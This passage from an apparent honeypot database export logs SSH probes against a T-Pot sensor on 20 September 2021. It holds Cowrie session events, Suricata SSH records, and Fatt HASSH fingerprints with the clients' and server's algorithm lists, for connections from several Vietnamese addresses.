"umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 60496, "dest_port": 22, "timestamp": "2021-09-20T11:09:09.523163", "@timestamp": "2021-09-20T11:09:09.523Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24810	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:09.950232+03	2021-09-20 14:15:09.280472+03	{"_id": "6gblAnwBvYTbRNuEPRVo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 48580, "timestamp": "2021-09-20T11:09:09.950232", "@timestamp": "2021-09-20T11:09:09.950Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24811	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:11.060009+03	2021-09-20 14:15:09.282472+03	{"_id": "AgblAnwBvYTbRNuEQRbr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:38526 (192.168.176.2:22) [session: af178384dc34]", "session": "af178384dc34", "@version": "1", "protocol": "ssh", "src_port": 38526, "dest_port": 22, "timestamp": "2021-09-20T11:09:11.060009Z", "@timestamp": "2021-09-20T11:09:11.060Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24812	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:10.446348+03	2021-09-20 14:15:09.283471+03	{"_id": "CwblAnwBvYTbRNuEQRbr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "ec6d2c05298f", "@version": "1", "duration": 3.0095903873443604, "timestamp": "2021-09-20T11:09:10.446348Z", "@timestamp": "2021-09-20T11:09:10.446Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24813	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:11.062997+03	2021-09-20 14:15:09.284471+03	{"_id": "CgblAnwBvYTbRNuEQRbr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "af178384dc34", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:11.062997Z", "@timestamp": "2021-09-20T11:09:11.062Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24814	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:11.304938+03	2021-09-20 14:15:09.286471+03	{"_id": "DAblAnwBvYTbRNuEQRbr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:38644 (192.168.176.2:22) [session: 3794bec75424]", "session": "3794bec75424", "@version": "1", "protocol": "ssh", "src_port": 38644, "dest_port": 22, "timestamp": "2021-09-20T11:09:11.304938Z", "@timestamp": "2021-09-20T11:09:11.304Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
24815	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:09:10.7945+03	2021-09-20 14:15:09.287472+03	{"_id": "EAblAnwBvYTbRNuEQRbr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 11 seconds", "session": "30dc33486cbf", "@version": "1", "duration": 11.214370489120483, "timestamp": "2021-09-20T11:09:10.794500Z", "@timestamp": "2021-09-20T11:09:10.794Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24816	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:11.017484+03	2021-09-20 14:15:09.288471+03	{"_id": "EQblAnwBvYTbRNuEQRbr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [production/production] failed", "session": "f08e090600e3", "@version": "1", "password": "production", "username": "production", "timestamp": "2021-09-20T11:09:11.017484Z", "@timestamp": "2021-09-20T11:09:11.017Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24817	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:11.052354+03	2021-09-20 14:15:09.289471+03	{"_id": "EgblAnwBvYTbRNuEQRbr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 7 seconds", "session": "17ec16fb3036", "@version": "1", "duration": 7.017687082290649, "timestamp": "2021-09-20T11:09:11.052354Z", "@timestamp": "2021-09-20T11:09:11.052Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24847	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:05.480209+03	2021-09-20 14:15:09.328472+03	{"_id": "kAblAnwBvYTbRNuELhVg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "89e4a9c823dc", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:05.480209Z", "@timestamp": "2021-09-20T11:09:05.480Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24818	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:11.351018+03	2021-09-20 14:15:09.290471+03	{"_id": "EwblAnwBvYTbRNuEQRbr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "3794bec75424", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:11.351018Z", "@timestamp": "2021-09-20T11:09:11.351Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
24819	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:09:11.405999+03	2021-09-20 14:15:09.292472+03	{"_id": "FAblAnwBvYTbRNuERBY6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 730167724404354, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 38526, "dest_port": 22, "timestamp": "2021-09-20T11:09:11.405999Z", "@timestamp": "2021-09-20T11:09:11.405Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24820	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:09:11.588996+03	2021-09-20 14:15:09.293471+03	{"_id": "FQblAnwBvYTbRNuERBY6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 537162631571036, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 38644, "dest_port": 22, "timestamp": "2021-09-20T11:09:11.588996Z", "@timestamp": "2021-09-20T11:09:11.588Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
24821	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:11.589136+03	2021-09-20 14:15:09.294471+03	{"_id": "FgblAnwBvYTbRNuERRY6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 38644, "timestamp": "2021-09-20T11:09:11.589136", "@timestamp": "2021-09-20T11:09:11.589Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24822	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:12.682158+03	2021-09-20 14:15:09.295471+03	{"_id": "MQblAnwBvYTbRNuESRYi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 53306, "timestamp": "2021-09-20T11:09:12.682158", "@timestamp": "2021-09-20T11:09:12.682Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24823	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:09:12.395469+03	2021-09-20 14:15:09.297471+03	{"_id": "LgblAnwBvYTbRNuESRYi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 50424, "dest_port": 22, "timestamp": "2021-09-20T11:09:12.395469", "@timestamp": "2021-09-20T11:09:12.395Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24824	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:12.406033+03	2021-09-20 14:15:09.298471+03	{"_id": "MgblAnwBvYTbRNuESRbD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:53306 (192.168.176.2:22) [session: 70f43a74fcd6]", "session": "70f43a74fcd6", "@version": 